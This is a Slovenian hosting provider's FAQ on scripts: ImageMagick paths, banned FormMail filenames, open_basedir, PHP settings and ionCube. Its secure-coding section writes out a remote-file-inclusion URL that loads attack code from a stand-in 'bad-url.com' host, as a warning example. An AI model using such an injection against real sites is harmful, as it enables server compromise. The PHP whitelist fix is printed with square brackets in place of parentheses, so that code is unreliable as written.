Tehnični Napodatki za Skripte,...

Na tej spletni strani si lahko preberete več o skriptah, ki zajemajo naslednja vprašanja:

Kakšna je pot do orodja "Imagemagick"?
Ali je nameščen "NetPBM"?
Ali imate prepovedane skripte?
Zakaj moje e-poštne skripte ne delujejo?
Kaj je to Fantastico?
Kako lahko preverim, ali je skripta z Interneta varna?
Kaj je PHP-jeva "open_basedir" omejitev?
Ali lahko spremenim vrednost "upload_max_filesize" za PHP?
Zakaj dobivam napako "Permission Denied", kadar uporabljam "wget", "lynx",...?
Ali je program "Zend Optimizer" nameščen za zakodirane skripte?
Ali je program "Ioncube loader" nameščen za zakodirane skripte?
PHP nastavitev "register_globals"
PHP orodje "code security"

1. Kakšna je pot do orodja "Imagemagick"?

"Imagemagick" je priljubljeno orodje za upravljanje slikovnih datotek v skriptah in se pogosto uporablja za slikovne galerije.

"Imagemagick" je nameščen v direktoriju /usr/lib/php/bin vendar pa lahko različne skripte zahtevajo različne načine definiranja poti, zato je priporočeno, da se poskusi vsak od naslednjih načinov, če je prvi neuspešen:

Privzeto: /usr/lib/php/bin
Privzeto s končno poševno črtico: /usr/lib/php/bin/
Korenski direktorij namestitve: /usr/lib/php
Korenski direktorij namestitve s končno poševno črtico: /usr/lib/php/
Polna pot do direktorija 'mogrify': /usr/lib/php/bin/mogrify
Polna pot do direktorija 'convert': /usr/lib/php/bin/convert

2. Ali je nameščen "NetPBM"?

"NetPBM" ni nameščen na strežniku, ker se lahko ponavadi namesto njega lahko uporabi "Imagemagick", saj ga v večini skript že podpira.

Če je "NetPBM" za vas kljub temu pomemben in bi ga želeli namestiti, se lahko namestitvena datoteka ["binary"] namesti na vašo spletno mesto brez našega posredovanja. Iz spletnega mesta si prenesite datoteko, ter jo odprite s programoma "Winzip" ali "WinRar". Datoteko naložite v vaš glavnni direktorij, pri čemer kreirajte novo z imenom 'netpbm'. Ko boste povprašani po poti, kjer se nahaja skripta, navedite polno pot do tega direktorija. Polna pot do "NetPBM" naj bi bila: /home/up_ime/netpbm [zamenjajte up_ime z vašim dejanskim uporabniškim imenom cpanela].

3. Ali imate prepovedane skripte?

Ta vrsta skript je dovoljena, obstajajo pa omejitve na vseh naših strežnikih, zato da se take skripte ne zlorabijo s strani pošiljalcev spam-a.

Najprej, skripta 'Matt's FormMail' je prepovedana in se ne sme uporabljati.

Nadalje morate preimenovati vašo skripto, tako da se NE imenuje kot je navedeno spodaj:

  • formmail.cgi
  • formmail.pl
  • formmail.php
  • oblike zgornjih imen z velikimi/malimi črkami

To malo oteži delo avtomatičnim pregledovalnikom ["scanners"], ki iščejo in zlorabljajo ranljive poštne skripte za svoje spam namene. Karkoli z imeni, ki so navedena zgoraj, ne bo delovalo na naših strežnikih, ne glede na to, ali obstajajo ali ne.

Priporočamo uporabo skripte "nms-formmail" za vašo e-mail skripto.

Lahko uporabite tudi skripto "cPanel formmail", ki pa je bila preimenovana, da se prepreči zloraba. Namesto povezave nanjo preko '/cgi-sys/FormMail.cgi' morate zdaj uporabiti '/cgi-sys/PROTECTED-FormMail.cgi'.

4. Zakaj moje e-poštne skripte ne delujejo?

Skripta, znana kot 'Matt's FormMail' je prepovedana na naših strežnikih. Poleg tega ne dovolimo uporabe skript z imeni formmail.php, formmail.pl ali formmail.cgi [in te oblike z velikimi ali malimi črkami], z namenom narediti stvari težje za avtomatične pregledovalnike, ki iščejo ranljive e-poštne skripte.

Zato imamo avtomatična merila, s katerimi uvajamo to pravilo, in vsak poskus poganjanja skript z zgoraj navedenimi imeni se bo končal z napako prepovedano "code 500: Forbidden".

5. Kaj je to Fantastico?

Fantastico je program, katerega smo namestili na vseh strežnikih, da bi si pomagali pri namestitvah in upravljanju množice priljubljenih skript. 

Z uporabo tega programa lahko naše stranke nameščajo skripte na svojih računih z le nekaj kliki miške. In ko pridejo nadgradnje za te skripte se lahko namestitve nadgradijo s klikom na gumb v nadzorni plošči.

Da bi odprli "Fantastico" in videli ves seznam skript, prosimo kliknite na povezavo "Fantastico" na uvodni strani nadzorne plošče.

6. Kako lahko preverim, ali je skripta z Interneta varna?                                                 [top]

Uporaba skript, ki niso varne [ranljivosti nepopravljene], na vašem računu je zelo nevarno.  To povzroča tveganje, da se račun zaklene ali pa zlorabi od tretje strani, ki lahko kompromitira celoten račun, izgubo podatkov ali pa zaklenitev/odstranitev računa [če se le-ta zlorabi za warez, spam itd.].

Zato je zelo pomembno, da so vse uporabljene skripte najnovejših verzij ter varne.

Dober način, kako določiti, če je skripta varna, je vpisati ime skripte v www.google.com skupaj z besedo 'exploit' [zloraba], kar vam bo pokazalo vse varnostne teme glede skripte in to lahko potem raziščete. Kot primer lahko pogledate rezultate iskanja za skripto "PHP-Nuke" tukaj.

7. Kaj je PHP-jeva "open_basedir" omejitev?

Na vseh strežnikih imamo varnostno merilo glede PHP, ki se imenuje "open_basedir". To pomeni, da so tukaj PHP skripte omejene glede na to, do katerih delov datotečnega sistema na strežniku lahko dostopajo.

Vzdržujemo seznam področij, kamor lahko PHP skripte dostopajo [/home/ime, /tmp + ostale], in če katera skripta poskuša dostopati do datoteke ali direktorija kjerkoli na datotečnem sistemu, se bo to končalo z napako vrste "open_basedir". To prepreči PHP skripti dostop do direktorijev in datotek, ki so v lasti drugih uporabnikov, specifično za strežniška nastavitvenega ["config"] in korenskega ["root"] uporabnika itd.

Zelo redko se zgodi, da bi morali spremeniti seznam dovoljenih poti za kakega uporabnika. Vendar pa je včasih prilagoditev potrebna, da bi nekatere skripte pravilno delovale. Če menite, da to zadeva tudi vas, potem odprite zadevo pri podpori in vključite celotno sporočilo o napaki ter ime domene, nakar bomo zadevo preverili.

8. Ali lahko spremenim vrednost "upload_max_filesize" za PHP?

PHP-jeva vrednost "upload_max_filesize" je na strežniku nastavljena na 2 MB, vendar je lahko tudi spremenjena [skupaj z drugimi PHP vrednostmi oz. spremenljivkami] s strani uporabnika preko datoteke .htaccess.

V vašem direktoriju "public_html" mora biti datoteka '.htaccess' – morda boste morali omogočiti pregledovanje skritih datotek v vašem FTP programu, da bi jo lahko videli. Če pa te datoteke ni, se jo lahko ustvari in naloži.

Uredite to datoteko in dodajte naslednjo vrstico:

php_value upload_max_filesize "6M"
* Zamenjajte število 6 z novim limitom, katerega želite nastaviti v MB]

Po tem postopku bo limit "upload_max_filesize" za ta račun spremenjen in se ga lahko vidi na "phpinfo strani".

9. Zakaj dobivam napako "Permission Denied", kadar uporabljam "wget", "lynx",...?

Imamo varnostna merila, da bi preprečili dostop do teh programov, zaradi njihove uporabe v napadih iz tretje strani, v povezavi s katerokoli ranljivo skripto na naših strežnikih.

Ko poganjate skripto "via cron" je priporočeno, da vpišete naslednje v ukazno vrstico:

Perl / CGI skripte: perl /home/username/path/to/script.cgi
PHP skripte: /usr/local/bin/php -q /home/username/path/to/script.php

V zgornjih vrsticah zamenjajte pot z dejansko potjo do skripte, katero želite poganjati, in "username" z vašim dejanskim uporabniškim imenom.

10. Ali je program "Zend Optimizer" nameščen za zakodirane skripte?

Da, program "Zend Optimizer" je nameščen na naših strežnikih, kar omogoča vsem uporabnikom, da uporabljajo skripte zakodirane s tem programom brez našega poseganja.

11. Ali je program "Ioncube loader" nameščen za zakodirane skripte?

Tega programa nimamo osrednje nameščenega na strežnikih, ker se lahko namesti kot in kadar je to potrebno uporabniku, brez našega poseganja.

Da bi ga namestili, morate najprej prenesti zadnjo verzijo "Ioncube loader" z njihove spletne strani.  Obvezno izberite verzijo za Linux Intel [ali  'Linux [x86]'] in pravilno PHP verzijo [le-to lahko preverite na glavni strani nadzorne plošče v razdelku "informacije o strežniku" [Server Information. Potem izberite arhivski format, katerega lahko odprete na vašem računalniku [zip za Windows itd.].

Direktorij prenešenega arhiva [imenovega 'ioncube'] je treba postaviti v ali nad glavni direktorij zakodiranih datotek. Na primer, če imate zakodirane datoteke/skripte v ali pod '/home/username/public_html/script' boste verjetno želeli naložiti 'ioncube' direktorij preko FTP v '/home/username/public_html/script' ali '/home/username/public_html'.

Ne deluje - zakaj?
Če zakodirane datoteke po tem postopku ne delujejo, jih lahko preizkusite z uporabo PHP skripte 'ioncube-rtl-tester.php' ki je vključena v arhiv [v 'ioncube' direktoriju].

  1. Kopirajte 'ioncube-rtl-tester.php' PHP skripto v direktorij, kjer naj bi zakodirane datoteke delovale.

  2. Odprite skripto z vpisom ustreznega spletnega naslova [URL] v brskalniku.

  3. Skripta bo poskusila najti in namestiti zahtevani program ["Loader"] in bo ustvarila rezultat med svojim izvajanjem.

12. PHP nastavitev "register_globals"

Na naših strežnikih imamo PHP nastavitev "register_globals" izklopljeno ["Off"], kar je privzeta in priporočena nastavitev za to stvar/funkcijo, kot so določili izdelovalci programske opreme. To je narejeno zaradi varnosti – nadaljne informacije lahko dobite tukaj.

Če to povzroča težave za katerokoli skripto, potem najprej priporočamo, da stopite v stik z izdelovalci programske opreme in preverite, če imajo nadgrajeno verzijo, ki je bolj varna in ne bazira na vklopljeni ["On"] nastavitvi "register_globals". Če pa to ni mogoče, potem lahko vklopite "register_globals" na svojem lastnem računu, z vpisom naslednje vrstice v .htaccess datoteko, potem pa jo naložite na svoj direktorij s temle zapisom:

php_value register_globals 1

V tem primeru vedite, da direktorij s tako .htaccess datoteko ne bo pridobil na varnosti, kar pa izklopljena nastavitev "register_globals" zagotavlja. Prosimo zavedajte se tega in trudite se obdržati vse skripte nadgrajene, da bi se izognili težavam z varnostjo.

13. PHP "code security"

PHP koda je lahko zelo uporabno orodje, vendar pa tudi zelo nevarno, če ni pravilno uporabljeno. Veliko je napak v kodi, kar lahko pripelje do vdorov v spletne strani, izgubljenih datotek in drugih resnih težav. 

Pogosta napaka v PHP kodiranju je programiranje dostopa do spletnih strani z uporabo index.php?page=page_name.html metode, kjer je ime datoteke vključeno v spletnem naslovu [URL] in potem vključeno v spletno stran preko PHP kode. Težava se začne, ko ni nobenega preverjanja pred vključitvijo imena datoteke in lahko pripelje do težave, ko tretja stran preprosto spremeni spletni naslov [URL], da bi vključila slabo skripto v spletno stran, kar ji omogoči, da izvršuje katerekoli ukaze na strežniku, npr. index.php?page=http://www.bad-url.com/hacking_php_code.txt

Zgornji primer bo vključil katerokoli slabo kodo [prirejeno za vdore v spletne strani in strežnike in v bistvu karkoli drugega] v tekstovni datoteki na <> http://www.bad-url.com/hacking_php_code.txt in jo izvršil znotraj skript [kot je PHP] na našem strežniku.  Lahko je misliti "to se ne bo nikoli zgodilo meni", če je vaša spletna stran nova, vendar je preko iskalnika Google zelo lahko najti nešteto spletnih strani, ki uporabljajo to metodo dostopa, katere bojo vdiralci sistematično preverjali za premalo varno kodo [pogosto avtomatična pregledovanja].

Da bi preprečili zgoraj navedeno zlorabo spletnih strani, je nujno preveriti vrednost v spletnem naslovu [URL], preden se jo vključi v PHP kodo. To se lahko naredi z omejitvijo dovoljenih datotek ["hardcoding"], in če ime datoteke v spletnem naslovu [URL] ni najdeno na tem seznamu, se ga zavrne.

1. Na začetek datoteke postavite seznam/polje ["array"] z imeni vseh dovoljenih datotek, npr.:

$allowed = array["main", "subpage", "another"];

2. Ko pridete do dela, kjer se spletni naslov [URL] preverja in vključuje v PHP kodo, lahko naredite nekaj podobnega temu, da bi preverili, če je ime datoteke na seznamu dovoljenih:

$page = $_GET['page'];
if[in_array[$page, $allowed]]
 {
include["/home/IME/public_html/" . $page . ".html"];
}
else
{
die["Vdor ustavljen"];
}

Odgovornost vseh, ki uporabljajo razne PHP skripte, je zagotoviti, da je uporabljena koda čimbolj varna. Na Internetu je veliko prispevkov glede te zadeve – mi priporočamo ogled naslednjih povezav:
 - Google Search
 - Onlamp.com: Ten Security Checks for PHP, Part 1
 - Onlamp.com: Ten Security Checks for PHP, Part 2
 - Zend.com:  Secure Programming in PHP


Izvedba avtorskega dela © 2008 MOJNET.net. Vse pravice pridržane. Prosimo oglejte si tudi naše Pravno obvestilo in Pravice o zasebnosti.
Stran je optimizirana za uporabnike, ki uporabljajo brskalnike Internet Explorer, Mozilla Firefox, Netscape Navigator, Opera in Safari.